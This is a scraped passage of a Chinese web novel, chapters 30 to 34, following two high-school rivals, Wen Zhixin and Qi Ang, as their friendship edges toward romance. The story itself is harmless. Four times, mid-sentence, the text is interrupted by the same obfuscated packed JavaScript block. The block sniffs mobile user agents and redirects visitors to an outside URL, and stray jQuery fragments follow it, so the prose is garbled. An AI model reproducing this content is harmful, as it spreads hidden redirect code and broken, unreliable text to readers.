祁昂的手掌抵着下巴,很轻地笑了一下,说:“我管不了新帝陛下,会僭越。” 不出意外,他也得了一拳。 祁昂偏头笑起来。 许妄立马指着他给温知新看:“你把我们家阿祁打傻了,你必须负责。” 温知新转过身去,背对着祁昂和许妄说:“傻着吧,也算我造福人民了。” 许妄:“好冷漠。” 温知新:“皇帝就是要冷漠无情的。” 许妄:“……”好有道理,无法反驳。 温知新继续看照片。 最后一张是温知新祁昂和舒格的合照,三个人都举着奖状,面无表情地盯着前方,像什么杀手三人组。 “这张感觉下一秒你们三个就要炸掉一中了。”姜寐评价,“但是很帅。” 温知新笑起来,给舒格看。 舒格眼睛亮了一下,问:“这张照片可以发给我吗?” “当然可以。” 表彰大会结束都到了晚上,没上多久晚自习就到了放学时间。 祁昂说:“我有点事,今天不一起回家了,路上注意安全。” 温知新看着他,点点头,“好。” 两人就在校门口分开,一个往东,一个往西,背道而驰。 30. 占有 温知新背着鼓鼓囊囊的书包进了夜色。 周一,人不多,她坐在老位置,点了一杯自由古巴。 宋远航忙完过来和她打招呼,温知新没精打采地应了一声,接着又闷头喝酒。 大半杯喝进肚子里,她忍不住问宋远航:“航姐,我有个问题想问你。” 宋远航像是等待了很久,立刻放下手中酒杯,问:“什么问题?” “我对一个朋友有占有欲是正常的吗?”温知新顿了顿补充,“可我觉得只有谈恋爱才应该有这种感觉,毕竟好像只有爱情才会有唯一性和排他性。” 宋远航笑起来,“你闷闷不乐喝了大半杯酒,就烦这事啊?” “这事儿很小吗?”温知新说,“但我觉得这件事很重要。” 宋远航看着温知新趴在桌子上,高马尾都蔫了,恍然间想到自己的十七岁。 其实也是这样,的为一些现在看起来无关紧要的小事烦恼,就像缠绕在木架上紫藤萝,晃动的阴影遮不住青春期的少女心事。 “你只对那一个人有占有欲吗?”宋远航问。 温知新握着酒杯思考,摇了摇头。 “还有两个好朋友,我也会在乎我在她们心里是不是很重要。” “这不就说明没有排他性了吗?”宋远航压下温知新脑袋上翘起来的呆毛,声音像红酒,娓娓道来,“其实在友情里,有占有欲也是很正常的一件事,这并不代表你想和对方谈恋爱。” 温知新咬着吸管,目不转睛地盯着宋远航。 她今天用鲨鱼夹把头发扎了起来,戴了一副无框眼镜,衬衫的袖子挽到了手肘,露出清晰的小臂线条。 整个人都散发着知性的力量。 温知新很向往成为这样的人,看起来轻轻松松就能将命运玩弄在手掌之间。 所以她会完全相信宋远航,完全相信无所不能的二十七岁。 “我觉得你说的很对,朋友也可能会有占有欲,这不代表我喜欢上他了,对吧?”温知新问。 “当然不代表。”宋远航抬了抬下巴,指向她手腕间的电子手表,“这不是能测心率吗?如果你真的喜欢对方,那你应该心跳快到爆炸。” 温知新低下头,又喝了一口酒,声音轻轻:“我明白了。” 宋远航倚着吧台,笑着揉了揉温知新的脑袋,又去后门搬货。 手机铃声恰时响起,令她心神不宁一整天的罪魁祸首此时致电。 “祁昂,怎么了?” 温知新付完款,转身往外走,左耳是祁昂在问她“我的化学联考试卷是不是在你那里?”右耳是驻唱歌手在唱“我们就错过”。 “我不知道啊。”温知新边走边说,迎面的晚风吹到脸上很舒服,“我还没有打开书包。” “你还没到家吗?”祁昂问。 温知新慢悠悠晃着,脚尖踢着石子,“没有,我在夜色待了一会儿,正在往家走,你很着急要那张化学试卷吗?” 祁昂说:“有点着急,我今晚要整理错题。” 温知新戳穿他:“你晚自习在看国家地理杂志。” “……”祁昂索性直接说:“我在你家单元楼下。” “现在?” “嗯。” “那你等会儿,我大概半小时后到家。”温知新说。 “好,注意安全。” 坐上地铁,温知新重新穿上校服,又在书包里找到祁昂的物理联考试卷。 奇怪,她明明记得自己看完卷子就把它放回了原位,怎么会在她的书包里。 不过鉴于她经常丢三落四,所以出现这种事情也不稀奇。 到站,扶梯上缓缓上升,温知新先看见一双巨长的腿,接着是少年人劲瘦但不单薄的肩,侧站着,垂眸盯着手机。 “祁昂。”温知新脆生生地喊了他一声,“你怎么来了?” 祁昂收起手机,望向温知新,声音清冷,“怕你携试卷潜逃。” “……”温知新把试卷拍到他手心,“拿去。” 祁昂轻笑,把试卷折好放进口袋,“走吧。” “你不是有事吗?怎么又回书香别苑了?”温知新很顺手地把书包也递给了他。 祁昂单肩背着明黄色小鸭书包,风吹起他的头发,露出完整的一张脸,毫无瑕疵,眼睛很亮,嘴角微扬。 “解决了。” 温知新了然般点点头,看得出来他将事情解决的不错,“恭喜。” 她低头看了眼自己的电子手表,心率正常,宋远航说的是对的,她的心跳没有快到爆炸,她没喜欢上祁昂。 她没喜欢上祁昂。 五月底,天气真的很热,哪怕是晚上气温也没低到哪里去。 温知新跟着祁昂的步伐走在他身后,默默在自己书包里翻找着湿巾。 “温知新。”祁昂的声音传过来。 温知新低着头应了一声,“嗯?” “你现在可以偷拍我。” “我不拍。”温知新找到湿巾,从里面抽出一张来又丢回书包,拉好拉链,“你现在有点儿太帅了,我要等你哭到不成样子的时候再拍。” “你等不到。” “别太自信,走着瞧。” 祁昂余光看着温知新神气的模样,偏头笑了一声,抬手轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223526|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻拍了一下在她的后脑勺。 “又打我,祁昂,你完了。” 温知新去打他,祁昂往后仰身躲开,二人迅速展开一场追逐战。 行人道铺着暗红色方格砖,橘黄色的路灯光洒下来,少年人奔跑在夏夜的晚风里,发丝和衣摆都飞扬。 这场战争以温知新打了祁昂四次为结局宣告结束,她弯着腰,扶着膝盖,气喘吁吁地控诉,“为什么跑这么快?” 祁昂倚着墙,深呼吸了两次,等气息平稳后才回答:“不然?我站那里让你打,我蠢吗?” “没差,现在也不怎么聪明。”温知新抬头看他,两人对上视线,莫名其妙就笑起来。 “我回去了。”祁昂直起身。 温知新挥挥手,说:“拜拜。” 然而祁昂脚下没动作,眼睛盯着温知新。 温知新纳闷,挑眉表示疑惑。 祁昂看了眼腕表,十点二十七分钟。 他笑了一下,“晚安,温知新。” 温知新明显愣住了,表情空白。 祁昂趁机单手在她的脑袋上揉了两下,倒退着走路,“明天见。” 温知新慌张低头,去看自己的手表,没电了。 ……关键时候掉链子。 温知新看着祁昂消失的背影,摸着自己的心脏,在跳动,有点儿快,但没到爆炸的地步。 说来很奇怪,她从初三就开始写情情爱爱的小说,却一直不明白要有什么反应才代表动心。 她不知道喜欢上一个人的标志是什么,所以有很长一段时间里她笔下的男女主总是莫名其妙就爱的死去活来。 所以后来她只写一见钟情。 但现在不是思考这些的时候,温知新拽着书包带,慢吞吞进电梯,脑袋靠着厢壁,烦躁地啧了好几声。 直到她洗完澡,坐在书桌前,握着笔但脑子里全是祁昂倒着走路时,脸上那个似有若无的微笑。 “啧。”她放下笔,面对空白的化学忽然福至心灵想到了什么。 她明白祁昂为什么会突然来这一通了,他嫉妒她联考拿了第一,所以才出此下策想扰乱军心。 不可能,她不会让他得逞的。 温知新去卫生间用凉水洗了把脸,完全清醒后开始做题。 被无机化学和有机化学折磨了一整晚,温知新趴在铺着竹凉席的床上,半睡半醒间她想,自己真是太闲了,居然为喜不喜欢祁昂而浪费了那么多时间。 都可以多刷两套题了。 风扇摇头吹风,温知新翻了个身,用最后一点意志力把夏凉被盖在自己的肚脐上,脑袋一歪,睡着了。 31. 呼吸 和温知新从校门口分开,祁昂和许妄一起回云锦城。 上周祁昂收到父亲顾鸿扬的信息,对方要求他这周必须回家一趟,态度强硬。 祁昂当下就知道他做的事情暴露了。 路上,许妄问:“叔叔不会把你怎么样吧?” 许妄见识过祁昂爸爸的威严,小时候被吓哭好几次。 祁昂说:“不会。” 两家的别墅相邻,分开之前,许妄贴心道:“反正你有手有脚,打你记得跑,但是不要喊我去救你,我害怕。” “……好的。”祁昂说。 王姨刚把晚饭收起来,见他回来,问他要不要吃宵夜。 祁昂说:“不用了,我一会就走。” 敲开书房门,顾鸿扬早在等他,先是看了一眼腕表,说:“你比我们约的时间晚了十分钟。” “路上耽误了一些时间。”祁昂没什么表情,径直走到他对面坐下,“您要和我谈什么事情?” “两件事。”顾鸿扬声音沉沉,“第一件事情,五月十七号,你联系Liora替你删除了一段视频,你什么时候和她有的交集?” “三月份。”祁昂说,“我放弃藤校那段时间。” “很好。”顾鸿扬习惯了做上位者,语气不怒自威,即使是夸奖的话也让人猜不透他究竟在想什么,“理由。” “没什么理由,只是因为我想删。” 祁昂面无表情地看着父亲顾鸿扬毫无表情的脸,忽然没来由想到如果温知新在场,她肯定会像发现新大陆一样,用略带夸张的语气说:“祁昂,原来你的装是家族遗传啊。” 他这么想着,微微低着头笑了一下。 这微小的弧度被顾鸿扬看到,他厉声:“Kian,我希望你诚实。” 祁昂的语气没什么起伏,平铺直叙:“我很诚实,我不想看见所以就拜托Liora删掉那些视频,这很合理。” “好,那么第二件事,上次你妈妈和你谈过支家小儿子的问题,为什么你再次去找他?” “有些事情没解决完,重新解决一下。”祁昂说。 “什么事情?” “一些劝告。” 顾鸿扬问:“劝告他什么?” 祁昂说:“一些不重要的小事。” 不要乱造谣,不要乱告状,仅此而已。 “……”即使是顾鸿扬,长风控股集团董事长,分分几百万上下的人,面对自己儿子这种一拳打在棉花的情况也会束手无策。 “Kian,我再次强调要诚实。”顾鸿扬说,“这两件事情都和那个叫温知新的女生有关,你们什么关系?” “朋友。” “只是朋友?” “只是朋友。” 顾鸿扬说:“我不希望在娱乐新闻版面看到你。” 其实他并不介意祁昂恋爱,他介意的只有祁昂的恋爱对象背景是否完美,是否会对集团造成影响。 祁昂说:“知道,没别的事我就先走了。” “走去哪?”喜怒不形于色的顾董事长快被祁昂气出表情了,“这不是你家?” 祁昂说:“书香别苑,我最近住在那里,离学校很近。” 因为要谈事,所以书房的灯开的很亮,惨白的光铺满每个角落,顾鸿扬和祁昂坐在红木桌两端。 坐姿一个比一个端正,所以这画面不太像父子间的聊天,更像是一场审讯。 祁昂想到自己小时候,一旦表达出忤逆顾鸿扬的想法,对方就会把他带到这间书房,打开所有的灯,先讲道理,接着让他反思,最后留他自己在这里坐一整夜。 受那段经历的影响,祁昂不太喜欢亮色,它们总让他想起很多个灯光通明的夜晚。 从那之后祁昂就不再和顾鸿扬说很多话,他们待在一个空间里空气都好像要停滞。 祁昂甚至感觉自己的胸腔无法换气。 终于,他忍无可忍,问:“我可以走了吗?” 顾鸿扬再次嘱咐他:“你注意分寸,集团最近不能有任何负面新闻。” 祁昂点头,说:“知道。” 云锦城离书香别苑骑车要半个多小时,祁昂穿梭在风里,感觉自己在重新呼吸。 回到小区之后他没有着急回家,而是把车停在了温知新家的单元楼下,拿出手机,拨通电话。 他很笃定地告诉对方,自己的化学试卷在她的书包里。 因为那就是他放的。 在晚自习即将下课之前,他为再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232135|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面埋下一张伏笔。 温知新喝酒之后说话语速就会变得慢吞吞,带点儿不自知的尾音。 可爱。 温知新告诉他还有半小时才能到家。 祁昂说:“好,注意安全。” 挂断电话之后他就跑向地铁站,耳边呼啸的风声盖过心跳声。 他停在扶梯尽头的出入站口,来来往往很多人,谁经过祁昂都会下意识去看一眼,但每个人都不是温知新。 大概十分钟,在目送了几十上百人进站出站之后,祁昂惊觉自己这样简直傻得出奇。 他欲盖弥彰地站直身体,低头刷着手机掩饰期待,其实也只是在主页面不断的滑来滑去,间或点开几个APP又迅速退出。 如此反复多次,终于听到那声熟悉的“祁昂”。 她问他怎么会来。 祁昂挑眉,咽下那句“想见你”。 两个人一起走在人行道,天气很热,空气里好像加了超多增稠剂,一点都不适合散步,但祁昂身背着那只小黄鸭书包,心情却出奇的好。 逗温知新真的很好玩。 听她怼人好玩,看她炸毛好玩,假装被她追上怒打一通也很好玩。 奔跑在十点钟的街头,祁昂从未觉得呼吸如此畅快过。 和温知新告别,回到只有他一个人的房子,空荡安静,他只开了一盏卧室书桌旁的灯,不算太亮。 把化学试卷放到桌子上去洗澡,出来之后发现手机收到好几条信息。 十点四十二。 温故而知新:【以后不许和我说晚安】 十点四十五。 温故而知新:【也不许摸我头】 十一点零四。 温故而知新:【你居然想出这么恶毒的方法】 十一点十分 温故而知新:【第一只会是我的,你干扰不了我】 祁昂哑然失笑,却摸不到一点头脑。 说什么呢? 他肩上搭着毛巾,头发尾梢滴着水,动动手指,回复温知新。 7:【嗯,知道了】 7:【晚安,温知新】 温故而知新:【祁昂!!!】 祁昂看着那三个感叹号,轻笑出声。 32. 做梦 大概是日有所思夜有所梦,温知新居然梦见了祁昂。 其实严格意义上说不算真的梦见,因为梦里祁昂是一只狼,她也是一只狼。 两个人毛发都是灰白色为主,肩背泛着银灰色光泽,琥珀色眼睛,身形矫健。 祁昂负伤,卧在远离狼群的山石背面,后腿流着血,染红身下的白雪,寒风呼啸,盖过悲惨的狼嗥。 而温知新被簇拥在狼群中间,高昂着脖子,享受着此起彼伏的欢呼声。 旧王战败,新王荣耀。 冷风吹彻西伯利亚雪原,利爪踩进雪地,温知新意有所感地回头。 祁昂趴在地上,半仰着头,同样看着她。 她长嚎,低频吼声与高频颤音复合,那是划分领地的信号。 祁昂终于垂下头,呼出一口白雾,承认属于狼王的王冠易主。 温知新满意,率领众狼远去。 “我的妈,这都哪儿跟哪儿啊?”温知新坐在床上,回味着刚才的梦。 两个人都变成狼了还要抢王的位置,真是有上进心。 不过这也说明她对祁昂根本没有旖旎心思,昨晚心跳过快只是因为夜晚烘托氛围,外加酒精的作祟。 温知新坦然接受这个理由,跳下床去洗漱。 这几天她起的都有点晚,时间不够刷完一套试卷,温倩给她打电话,重点讲了这个问题。 “宝贝,你最近有些懈怠了。”温倩和缓的声音从扬声筒里传过来,“因为省联考拿了第一就骄傲了吗?宝贝,这次只是你运气好,并不能代表什么,你还要更努力。” 温知新在换校服,反驳的话堵在喉咙里,她一句也说不出来。 系好短袖上的三颗纽扣,她应声:“明天不会了妈妈。” “嗯,明天我会检查,去上学吧,不要迟到。” “妈妈再见,注意身体。” 通话被挂断,温知新随便抓了一盒牛奶和一袋面包就往楼下冲,自行车蹬的飞快,终于赶在校门关紧之前进了学校。 校园内不许骑车,温知新低头推着车加快速度往里走,想避开学生会查勤的学生,然后被很大一声“同学”绊住脚步。 “……” 温知新认命转身。 “你迟到了同学,登记一下姓名和年级。” 温知新迟疑半秒,正打算瞎写一个名字,那位查勤的同学突然咳了一声,压低声音:“我认识你,新帝。” 温知新猛地抬头,手里的笔都快被握断。 在外面能不能别喊外号,好羞耻。 “……能不能给新帝一次改邪归正的机会,别记我名了,同学。”温知新认下这个称号,讨价还价。 查勤的学生把笔从她手里抽出来,往后退了一步,“下不为例,新帝陛下。” “……好的,多谢。” 温知新弯腰,鞠了个五度的躬,推着车飞快跑去车棚。 赵元亮看着温知新的背影笑出声,回头和刚检查完卫生区的祁昂说话,“我以为新帝和你一样不苟言笑呢,挺可爱的。” “和你又没关系。”祁昂说:“校门关了,查完回班。” 共事两年,赵元亮早就习惯祁昂的嘴毒,他置之一笑,说:“和我没关系,就和你有关系了?” 祁昂看他一眼。 赵元亮笑得更大声,搭着祁昂的肩,问:“绯闻是真的吗?” “什么绯闻?” 赵元亮说,“你们两个人的绯闻啊,新帝旧王,情侣名都给你们起好了。” 祁昂嘴角扬起很不起眼的一个弧度,淡声说:“哦。” 哦是什么意思,所以绯闻是真的还是假的。 – 英语早读,温知新不太敢在赵言心眼皮底下造次,规规矩矩背完了两篇新概念作文。 等下课铃声响,才拿出清早没写完的化学试卷继续补。 对着一道推断填空题抓耳挠腮的时候,余光瞥见祁昂要出去接水,她立刻把自己的大水杯递过去,“我要温水,谢谢。” “你要求很多,温知新。” “好人,大好人。”温知新把水杯塞到他怀里,“快去吧。” “知道了。”祁昂从她手里接过那只被贴的花里胡哨的水杯。 两个人的指尖很短暂地碰了一下,微凉触感转瞬即逝,温知新没什么反应,转头就去写题了。 祁昂若有所思地挑了下眉尖。 开水间里温水的队伍永远是最长的,祁昂不爱排队,所以只接凉水喝。 但今天他乖乖排队,接了一大杯温水。 “给你温水,公主殿下。” 祁昂嗓音冷淡,声调没有起伏,一板一眼喊这种名称会有种说不清道不明的爽感。 温知新又觉得这个名字羞耻,又觉得祁昂说话声音真好听,想让他多喊几声。 服了,人怎么能矛盾能这样。 温知新捧着水杯吸了一大口水,对祁昂说:“我昨晚梦见你了。” 祁昂问:“梦里我是好人还是坏人?” 温知新说:“不是人。” “……”祁昂把水杯从她水里拿回来,赌气道:“别喝了。” “错了错了。”温知新笑,“梦里我也不是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250475|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 祁昂挑眉,“细说。” 温知新说:“咱俩都是狼,你是老狼王,我是新狼王,我把你打死了。” “……”祁昂本来就没表情的脸更木了。 温知新坐在位置上笑的前仰后合,“你怎么这么好玩啊,祁昂。” 祁昂:“好玩你还把我梦死了。” “这也不是我能控制的。”温知新为自己辩白,“那你想当好人还是坏人,我下次努努力梦一下。” 祁昂看着她,不说话。 温知新也安静下来,注视着祁昂的眼睛,真的很好看,丹凤眼,眼尾微扬,清冷中藏着一丝锐气。 两个人不约而同地沉默了一小下。 温知新好像看到祁昂很轻微地叹了口气,说:“算了,你梦不到。” 温知新问:“那你呢?有梦到过我吗?” 祁昂直截了当:“我不做梦” 温知新真心实意羡慕:“那你睡眠质量好好,我经常做梦,每次睡醒都好累。” “你少胡思乱想就不做梦了。”祁昂意有所指。 温知新哽了一下,又想到昨晚夜风中少年中冷淡却又莫名缱绻的声音。 “那也是因为你胡说乱碰。”温知新小怒。 “我说什么?”祁昂好整以暇,带着很浅的笑,说:“晚安温知新?” 他的尾音上扬,轻轻酥酥的,让人耳朵发麻,心里发紧。 “你真是太讨厌了,祁昂。”温知新给他下判决书,“故意让我乱想,不让我好好学习。” “温知新,你讲不讲道理。”祁昂说,“你咬我的时候就不怕我乱想?” 于是思绪又被拽回更遥远的夜晚,晶莹剔透的泪光,白皙修长的手指,和两个人都心知肚明的纵容。 温知新坐在在冷风充足的教室里脸上却很热。 “那你,会乱想吗?”温知新问。 “不会。”祁昂没看她,找出下节课要用的课本,又翻出一本快看完的地理杂志,“你咬人很疼,像狗。” “……我打人更疼。”温知新一拳锤过去,把该有的不该有的暧昧氛围全都击碎。 两个人又开战。 许妄路过时,温知新在用双拳反复捶打祁昂手心; 姜寐和傅云星路过时,祁昂正以迅雷不及掩耳盗铃之势,弹了温知新一个脑瓜崩; 舒格路过时,二人已经停战,并且握手言和,欢欢喜喜讲题去了。 “真是……” “什么锅配什么盖。” 许妄和姜寐一唱一和,他俩对视击掌,觉得英雄所见略同。 33. 确认 一上午,温知新都心不在焉的。 她支着下巴,思考自己真的喜欢上祁昂的可能性,甚至为此画了一个概率图。 “在写什么?”祁昂的声音冷不丁飘过来。 做贼心虚的温知新一个激灵,迅速将那张草稿纸团成球丢进了桌洞里。 “没什么,瞎写点儿东西。” 祁昂的视线从温知新明显心虚的脸庞移到塞满试卷和练习册的桌洞。 “好。”祁昂若有所思点头,继续去改错题。 温知新也不知道他信没信,心里那口气一直吊着,上不去下不来,她要做些别的事情来分散注意力。 她想起前几天宋嘉平来拜托自己帮他修改语文作文,在桌洞里一顿狂翻,最后从最里面找到了那张作文纸。 宜安高考写的是议论文,改起来很简单,先读一遍找出错字,再将语义不通的句子挑出来改通畅,接着用一些看似高大上的词语替换掉口语,最后删改掉不合适的素材,结束。 温知新撂下笔,欣赏地看了一遍自己的作品,赞许着点头。 旁征博引,引经据典,一篇特别完美的应试作文。 恰好,宋嘉平这时候也来找她。 探进来半个身子,一头卷毛十分惹眼,雀跃的声音涌进热闹的教室,“学姐,我来了。” 温知新点一下头,拿着作文纸出去。 两个人面对面站在走廊,交谈的声音被隔在窗户之外。 祁昂右手转着笔,从他的角度看过去,温知新正在笑,眼睛弯起来,高马尾微微晃动。 宋嘉平也在笑,笑得更夸张更激动,双手捏着那张纸,脸都红了。 在聊什么?为什么笑?和他说话的时候怎么没有这么开心。 一个高二一个高一,一个理科一个文科,有什么好聊的,这么多共同话题吗? 祁昂的思绪突然断了一下,觉得此时此刻的想法十分熟悉。 继而他的脑海中闪过无数和温知新谈笑风生的人脸。 温知新怎么这么招人喜欢。 “不用,举手之劳而已,能帮到你就行。”温知新拒绝宋嘉平提出的一起吃饭的请求,摆摆手,“我回教室了,拜拜。” 出去被暴晒了几分钟,温知新觉得自己想明白了一点,但看到祁昂那张没表情的脸,心跳又快了两下。 她故作镇静地吞了下口水,慢吞吞坐回自己的座位。 期间,祁昂一直盯着温知新,看她笑着和宋嘉平挥手,看她面对自己时却神色一凝,甚至坐下来之后还深呼吸了一口气。 凭什么? “温知新。” 祁昂开口,还没说下文,就被风风火火跑过来的姜寐打断了。 “温温温温,今天中午我们去吃那家新开的生滚牛肉粉吧,就在学校旁边,据说特别鲜。” “好啊。”温知新点头,立刻和祁昂说:“今天中午你自己回家吧,不用等我了。” 祁昂说:“嗯,书包帮你带回去?” “不用不用,我自己背就行。”温知新忙说。 祁昂盯着温知新,沉默了几秒钟后微挑眉尖,“可以,你小心别被压死了。” “……”温知新攥紧拳头给了他一下。 祁昂明显没做好准备,闷哼一声,身子都跟着晃了一下,他索性顺势倒下去,靠在墙上,看向温知新。 温知新透过他的眼睛看到自己,黑色的眼眸像空阔宇宙,她是里面唯一的星星。 祁昂后脑勺抵着冰凉的墙壁,懒懒散散笑起来,“你现在有点像牛了,温知新。” “你才力大如牛,之前有次你差点把我弹成如来佛祖,86版西游记那个!” 祁昂想象了一下,偏头笑起来,肩膀和胸膛都在抖。 “还笑。”温知新举起手,比成枪,对着祁昂砰了一下,“你死了。” 祁昂居然很配合地捂住了心口,“好的,杀手小姐。” 温知新摸了下自己耳垂,“少给我起外号。” 祁昂笑着坐直身子,“嗯,下次还会的。” “……” 她居然开始怀念一个多月之前那个又装又拽的祁昂。 中午,温知新推着自行车,和姜寐傅云星来到学校后面那家生滚牛肉粉店。 店面不大,人很多,姜寐眼尖腿快,迅速挤进最里面占住一张桌子,傅云星和温知新去前台点单取餐。 小店墙上挂着的风扇根本吹不到角落,一顿午饭吃的三个人都满头大汗。 “放高考假那几天你能出来吧。”姜寐问。 温知新给她一个相当肯定的眼神,“放心吧,你生日那天我无论如何也会出门的。” 姜寐伸出两根手指晃了晃,“是两天,我们要去海边看日出。” “没问题。”温知新比OK。 来接姜寐和傅云星的轿车停在街口,温知新看着“宜A66666”的车牌号,用略带夸张的语气感慨:“你们两位居然挤在那种小店和我一起吃牛肉粉,真是友谊万岁。” 姜寐被温知新逗笑,举着新店开业赠送的罐装碳酸饮料,高呼:“友谊万岁!” 傅云星觉得难为情,死死低着头,脸和脖子全红了。 “来呀。”姜寐拽起傅云星的手。 在熙攘的街头,强烈到有些歹毒的日光之下,宜A66666的黑色轿车旁,三个穿着深绿色校服的少年高举手臂,铝制汽水罐撞在一起,溢出气泡,夏天变得更粘稠了一点。 – 中午回家,温知新收到了自己小说的样刊,以及正男写的现代诗被退稿的信函。 这个月她为正男投了九家杂志社,全部都被拒稿,她不知道要怎么跟正男说,每次被问起时只能含糊其辞。 温知新知道写诗出版是正男最大的梦想,她不想让正男失望。 又一封信放进抽屉,温知新想,没关系,她会有办法的。 铺开试卷写题,桌角的监控闪着红光。 马上进六月,温倩在江虞的工作随时能结束,这也意味着她随时会来宜安。 温知新这段时间一直在暗度陈仓,把卧室里乱七八糟的小说全搬到教室去。 她自己搬太慢了,于是就拉上祁昂也做苦力。 起初他们只是晚上一起回家,后来发展成中午和晚上一起回家,再之后早上也会一起上学,现在中午也要一起上学了。 “温知新,你干脆住教室里算了。”祁昂接过她手里的书,装进自己的书包里。 温知新很认真地回答:“我以后中午可能真的不回来了。” “在教室午休?”祁昂问。 “其实我不午休的,在家也是做题。”温知新说,“不如路上的时间省下来。” “温知新,你猝死也是理所应当。” “闭嘴吧你,别咒我。” 小说太多,不仅填满了温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273054|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知新的书箱,祁昂的书箱也被征用去了。 祁昂看着那些花花绿绿的封面,问:“这些书我能看吗?” “当然,你随便看。”温知新像白雪公主里推销毒苹果的皇后,“你想看多久看多久,一直看不学习也可以。” 祁昂轻笑,弯腰从书箱里随便抽出一本,“寂静雨季不再来,作者温开水。” 温知新直起来腰,吸引人注意一般咳了好几下。 祁昂一点即透,手指扫过书封上的作者,“温开水?” 温知新骄傲点头,“正是在下。” “这么低调,大作家。”祁昂很上道地夸赞。 温知新故作谦虚:“还好啦,你想要我的签名吗?” 祁昂配合,将自己的试卷推过去,“荣幸之至。” 温知新在试卷的卷头,紧贴着“祁昂”的旁边,签下“温开水”三个潇洒的大字。 “惠存吧。” “回去就裱起来当传家宝。” 温知新哈哈大笑。 接下来的时间祁昂就开始看这本小说,抽丝剥茧也不过是你爱我我爱他他爱她她又爱他的多角恋故事,但是温知新很狡诈地为每个人都安排了必死的结局。 生死之下,情爱又成了最大加持。 晚自习,温知新刷完了一套物理题,她揉着发酸的肩颈,往祁昂那边一瞥,愣了一下。 祁昂微微垂着头,手里拿着最后一张面巾纸擦眼睛里蓄的泪。 温知新凑过去,很没眼力见地轻声问:“祁昂,你哭啦?” 祁昂闻声,下意识抬头,眼眸像蒙着一层水壳,眼眶嫣红,连带着眼角那颗小痣也多了几分破碎感。 “没有。”他嘴硬,顿了一下又问:“你还有纸吗?” 温知新忍着笑,从书包里拿出两小包没开的新纸巾递给他,“我就这些了,你省着点哭。” 她看了一眼祁昂阅读的进度,四分之三,死了三个人都哭成这样了,不敢想他看到结局全死的时候该多崩溃。 “你继续看吧。”温知新贴心嘱咐,“哭的时候小点儿声,别打扰我写题。” “……” 晚自习下课,祁昂看完这本小说,发现无人生还,他报复性的用光温知新所有纸巾,瓮声瓮气质问她:“凭什么不让有情人终成眷属?” 祁昂坐在温知新面前,他的肩比温知新的肩宽一圈,像一只大型狼犬,垂着眼眸,声泪俱下地控诉温知新心太狠。 祁昂的帅是很客观的,黑色的眼眸仿佛大海深渊,冷脸有冷脸的风味,而此刻因为流泪,他高高在上的那层壳被打碎,平添几分活人气儿。 温知新不知从哪儿又变出来一小包扁扁的乳霜纸,抽出一张,鬼使神差地碰上祁昂的脸。 薄薄的纸隔不住体温和触感,温知新的指尖微热,祁昂的脸颊很软。 祁昂乌黑的眸子直勾勾地盯着温知新。 现在是课间,教室里纷乱嘈杂堪比世纪大战,然而传进温知新耳朵里声音好像被过滤了一遍,只剩下自己呼吸和心跳的声音。 上天,原来丘比特射向她的是静音键。 “温知新。”祁昂轻轻开口,“你在干什么?” “给你,擦眼泪。”一句话被她断成两半,显得很没有气势。 拜托,她什么时候吃过这种瘪。 温知新幡然醒悟,及时悔改,手上使劲,在祁昂脸颊上戳出一个凹陷来。 34. 作业 “温知新,你戳上瘾了?”祁昂就着被戳脸的动作抬头和她说话,“我是橡皮泥?” “不是。”温知新收回指尖,把剩下的乳霜纸丢给他,故作镇定,“只是没想到你嘴这么硬,但是脸那么软。” “我拳头更硬。”祁昂眼尾的红还没消掉,说话也带着一点鼻音,“你为什么要把所有人都写死?” 温知新无奈:“虐文卖的好。” “所以没有一对有情人成眷属。” 温知新说:“其实分开才是常态,天底下互相喜欢的人那么多,怎么会都在一起呢。” “可文艺作品本质就是造梦。”祁昂反驳,“造我们不会经历的梦。” 温知新把小说收起来,轻声说:“祁昂,眼泪也可以是梦的壳,不是所有的故事都要圆满,不是每个人都会得偿所愿。” 